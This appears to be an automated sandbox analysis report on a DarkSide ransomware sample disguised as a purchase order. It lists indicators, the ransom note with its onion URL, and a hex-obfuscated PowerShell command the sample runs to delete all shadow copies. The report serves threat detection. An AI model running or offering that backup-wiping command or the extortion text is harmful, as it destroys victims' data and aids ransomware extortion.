darkside | 4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a

General

Target

PurchaseOrderPoster.bin.exe
Size

30KB
MD5

f00aded4c16c0e8c3b5adfc23d19c609
SHA1

86ca4973a98072c32db97c9433c16d405e4154ac
SHA256

4d9432e8a0ceb64c34b13d550251b8d9478ca784e50105dc0d729490fb861d1a
SHA512

a2697c2b008af3c51db771ba130590e40de2b0c7ad6f18b5ba284edffdc7a38623b56bc24939bd3867a55a7d263b236e02d1f0d718a5d3625402f2325cbfbedf

Score

10^/10

darkside ransomware spyware stealer

Malware Config

Extracted

Path

C:\\README.f2cbf9aa.TXT

Family

darkside

Ransom Note

----------- [ Welcome to DarkSide ] -------------> What happend? ---------------------------------------------- Your computers and servers are encrypted, backups are deleted. We use strong encryption algorithms, so you cannot decrypt your data. But you can restore everything by purchasing a special program from us - universal decryptor. This program will restore all your network. Follow our instructions below and you will recover all your data. What guarantees? ---------------------------------------------- We value our reputation. If we do not do our work and liabilities, nobody will pay us. This is not in our interests. All our decryption software is perfectly tested and will decrypt your data. We will also provide support in case of problems. We guarantee to decrypt one file for free. Go to the site and contact us. How to get access on website? ---------------------------------------------- Using a TOR browser: 1) Download and install TOR browser from this site: https://torproject.org/ 2) Open our website: http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3 When you open our website, put the following data in the input form: Key: 5l5BZPnhuDEYAVqJR4MgValoWwML2OjDOtYwubDXeXGefcJDd4otfGdb9pJPrHW7Rt0XqdwabTWl9I5xhiHBsW6mg5BoqR4M2LZ0TI1hN4ifY7RVgRakjxxhhyImncWtgNb8LWtJlhn6cwtDLlsIjq0wAn8s7YsdzgTPPreHXEyFiFH1ozVIpZXV1mO5QXMZu16DNkFcXVIfdw5gPeSYjd3VAa7VlIH8IXgwCuza7YprCeDIOmvRqYK1jBH4s4nn0VyEHnWRndP7jNNUmat6FMhNzeKnLYGbMDRwmZR6iFdFX0Y3lhEWenDamVRchRSE5YwiL9LqTfkrnrswflssAB0SOcodZXRxG5HNItcitj3Za1NzC5fmBpdKN4jV01hMBG98ZEN8HMKeOdVxKtbAZP86K9IfBy8QcNrWLQ2hAeup6DD6KsG8R0Jj8czKTu4MDlGaxQMtPSycA0B6IzpPVV0Tbn9yWIIFH6y4mir71zDWbcPH3p5Hnr80gTnOFHXGzkGfrdy1bjn5H99zniLFFjchV8EEPMtgG2PwKF7NVQ9dTdlMBHWQpGc !!! DANGER !!! DO NOT MODIFY or try to RECOVER any files yourself. We WILL NOT be able to RESTORE them. !!! DANGER !!!

URLs

http://darksidfqzcuhtk2.onion/OBB5DDMR8RB9DI2RYYF376YGBJAV2J4F2NXFEWPBSXY709MAA0MY7PMBBQJ0HVG3

Signatures

DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
ransomware darkside

Modifies extensions of user files 18 IoCs

Ransomware generally changes the extension on encrypted files.

ransomware

Processes:

PurchaseOrderPoster.bin.exe

description	ioc	process
File opened for modification	C:\Users\Admin\Pictures\ExpandCopy.tiff	PurchaseOrderPoster.bin.exe
File opened for modification	C:\Users\Admin\Pictures\GetRestart.png.f2cbf9aa	PurchaseOrderPoster.bin.exe
File opened for modification	C:\Users\Admin\Pictures\RestoreResize.png.f2cbf9aa	PurchaseOrderPoster.bin.exe
File renamed	C:\Users\Admin\Pictures\HideWrite.crw => C:\Users\Admin\Pictures\HideWrite.crw.f2cbf9aa	PurchaseOrderPoster.bin.exe
File opened for modification	C:\Users\Admin\Pictures\HideWrite.crw.f2cbf9aa	PurchaseOrderPoster.bin.exe
File opened for modification	C:\Users\Admin\Pictures\UndoDebug.crw.f2cbf9aa	PurchaseOrderPoster.bin.exe
File renamed	C:\Users\Admin\Pictures\SelectUnblock.raw => C:\Users\Admin\Pictures\SelectUnblock.raw.f2cbf9aa	PurchaseOrderPoster.bin.exe
File opened for modification	C:\Users\Admin\Pictures\SelectUnblock.raw.f2cbf9aa	PurchaseOrderPoster.bin.exe
File opened for modification	C:\Users\Admin\Pictures\StopMeasure.tiff	PurchaseOrderPoster.bin.exe
File renamed	C:\Users\Admin\Pictures\ExpandCopy.tiff => C:\Users\Admin\Pictures\ExpandCopy.tiff.f2cbf9aa	PurchaseOrderPoster.bin.exe
File opened for modification	C:\Users\Admin\Pictures\ExpandCopy.tiff.f2cbf9aa	PurchaseOrderPoster.bin.exe
File renamed	C:\Users\Admin\Pictures\GetRestart.png => C:\Users\Admin\Pictures\GetRestart.png.f2cbf9aa	PurchaseOrderPoster.bin.exe
File renamed	C:\Users\Admin\Pictures\RestoreResize.png => C:\Users\Admin\Pictures\RestoreResize.png.f2cbf9aa	PurchaseOrderPoster.bin.exe
File renamed	C:\Users\Admin\Pictures\UndoDebug.crw => C:\Users\Admin\Pictures\UndoDebug.crw.f2cbf9aa	PurchaseOrderPoster.bin.exe
File renamed	C:\Users\Admin\Pictures\AssertSplit.raw => C:\Users\Admin\Pictures\AssertSplit.raw.f2cbf9aa	PurchaseOrderPoster.bin.exe
File opened for modification	C:\Users\Admin\Pictures\AssertSplit.raw.f2cbf9aa	PurchaseOrderPoster.bin.exe
File renamed	C:\Users\Admin\Pictures\StopMeasure.tiff => C:\Users\Admin\Pictures\StopMeasure.tiff.f2cbf9aa	PurchaseOrderPoster.bin.exe
File opened for modification	C:\Users\Admin\Pictures\StopMeasure.tiff.f2cbf9aa	PurchaseOrderPoster.bin.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

Sets desktop wallpaper using registry 2 TTPs 2 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

PurchaseOrderPoster.bin.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\Desktop\WallPaper = "C:\\ProgramData\\f2cbf9aa.BMP"	PurchaseOrderPoster.bin.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\f2cbf9aa.BMP"	PurchaseOrderPoster.bin.exe

Modifies Control Panel 1 IoCs

evasion

Processes:

PurchaseOrderPoster.bin.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2455352368-1077083310-2879168483-1000\Control Panel\Desktop\WallpaperStyle = "10"	PurchaseOrderPoster.bin.exe

Modifies registry class 5 IoCs

Processes:

PurchaseOrderPoster.bin.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\f2cbf9aa\DefaultIcon\ = "C:\\Users\\Admin\\AppData\\Local\\f2cbf9aa.ico"	PurchaseOrderPoster.bin.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.f2cbf9aa	PurchaseOrderPoster.bin.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.f2cbf9aa\ = "f2cbf9aa"	PurchaseOrderPoster.bin.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\f2cbf9aa\DefaultIcon	PurchaseOrderPoster.bin.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\f2cbf9aa	PurchaseOrderPoster.bin.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exePurchaseOrderPoster.bin.exe

pid process

916 powershell.exe
916 powershell.exe
1696 PurchaseOrderPoster.bin.exe
1696 PurchaseOrderPoster.bin.exe

pid	process
916	powershell.exe
916	powershell.exe
1696	PurchaseOrderPoster.bin.exe
1696	PurchaseOrderPoster.bin.exe

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

PurchaseOrderPoster.bin.exepowershell.exevssvc.exe

description	pid	process
Token: SeIncreaseQuotaPrivilege	1696	PurchaseOrderPoster.bin.exe
Token: SeSecurityPrivilege	1696	PurchaseOrderPoster.bin.exe
Token: SeTakeOwnershipPrivilege	1696	PurchaseOrderPoster.bin.exe
Token: SeLoadDriverPrivilege	1696	PurchaseOrderPoster.bin.exe
Token: SeSystemProfilePrivilege	1696	PurchaseOrderPoster.bin.exe
Token: SeSystemtimePrivilege	1696	PurchaseOrderPoster.bin.exe
Token: SeProfSingleProcessPrivilege	1696	PurchaseOrderPoster.bin.exe
Token: SeIncBasePriorityPrivilege	1696	PurchaseOrderPoster.bin.exe
Token: SeCreatePagefilePrivilege	1696	PurchaseOrderPoster.bin.exe
Token: SeBackupPrivilege	1696	PurchaseOrderPoster.bin.exe
Token: SeRestorePrivilege	1696	PurchaseOrderPoster.bin.exe
Token: SeShutdownPrivilege	1696	PurchaseOrderPoster.bin.exe
Token: SeDebugPrivilege	1696	PurchaseOrderPoster.bin.exe
Token: SeSystemEnvironmentPrivilege	1696	PurchaseOrderPoster.bin.exe
Token: SeRemoteShutdownPrivilege	1696	PurchaseOrderPoster.bin.exe
Token: SeUndockPrivilege	1696	PurchaseOrderPoster.bin.exe
Token: SeManageVolumePrivilege	1696	PurchaseOrderPoster.bin.exe
Token: 33	1696	PurchaseOrderPoster.bin.exe
Token: 34	1696	PurchaseOrderPoster.bin.exe
Token: 35	1696	PurchaseOrderPoster.bin.exe
Token: SeDebugPrivilege	916	powershell.exe
Token: SeBackupPrivilege	936	vssvc.exe
Token: SeRestorePrivilege	936	vssvc.exe
Token: SeAuditPrivilege	936	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

PurchaseOrderPoster.bin.exe

description	pid	process	target process
PID 1696 wrote to memory of 916	1696	PurchaseOrderPoster.bin.exe	powershell.exe
PID 1696 wrote to memory of 916	1696	PurchaseOrderPoster.bin.exe	powershell.exe
PID 1696 wrote to memory of 916	1696	PurchaseOrderPoster.bin.exe	powershell.exe
PID 1696 wrote to memory of 916	1696	PurchaseOrderPoster.bin.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\PurchaseOrderPoster.bin.exe
"C:\Users\Admin\AppData\Local\Temp\PurchaseOrderPoster.bin.exe"
1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1696

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:916

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:936

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

Lateral Movement

Collection

Data from Local System

1

T1005

Exfiltration

Command and Control

Impact

Defacement

1

T1491

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex
MD5
33e42934d49a01d00c2f656779ab39d0

SHA1
b0948a8ae1ea8366fd8f937b312261bc07dfaa93

SHA256
b0666e4e1732399e09d1e053de280ace5426e52eb5b212d023e6e7999a7ec542

SHA512
90fe2726a2e9d8a721e698343c83c2d5b03be65fda52506d14a530bb1d8a03a2415dbee22dd96d35e4e0045a4bd360dee97354ef47de9e5d7ab5db1a1c1a8771

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
MD5
412607a2f0f0a4a33ae00c4f5e887ce0

SHA1
67cb09380ea4efd2c819ba95e3acc13a3bd96e16

SHA256
398901c2bc541fea59b18686b97154e5fea02d3f2ce32ca9a494239c250ffa8c

SHA512
dbddcb177a2c50a80409481f44b949b4f970726994cd2feef067da5606799ce89dd64f186a98355104b0c2066823c1960d965c01231f83dc3d46266c39b9ec69

Download Submit
memory/916-65-0x00000000025E0000-0x00000000025E1000-memory.dmp

Filesize
4KB

Download
memory/916-62-0x0000000002350000-0x0000000002351000-memory.dmp

Filesize
4KB

Download
memory/916-63-0x000000001AD00000-0x000000001AD01000-memory.dmp

Filesize
4KB

Download
memory/916-64-0x0000000002430000-0x0000000002431000-memory.dmp

Filesize
4KB

Download
memory/916-66-0x000000001AC80000-0x000000001AC82000-memory.dmp

Filesize
8KB

Download
memory/916-67-0x000000001AC84000-0x000000001AC86000-memory.dmp

Filesize
8KB

Download
memory/916-68-0x000000001C4D0000-0x000000001C4D1000-memory.dmp

Filesize
4KB

Download
memory/916-69-0x000000001C5A0000-0x000000001C5A1000-memory.dmp

Filesize
4KB

Download
memory/916-61-0x000007FEFBAE1000-0x000007FEFBAE3000-memory.dmp

Filesize
8KB

Download
memory/916-60-0x0000000000000000-mapping.dmp

Download
memory/1696-59-0x0000000075211000-0x0000000075213000-memory.dmp

Filesize
8KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads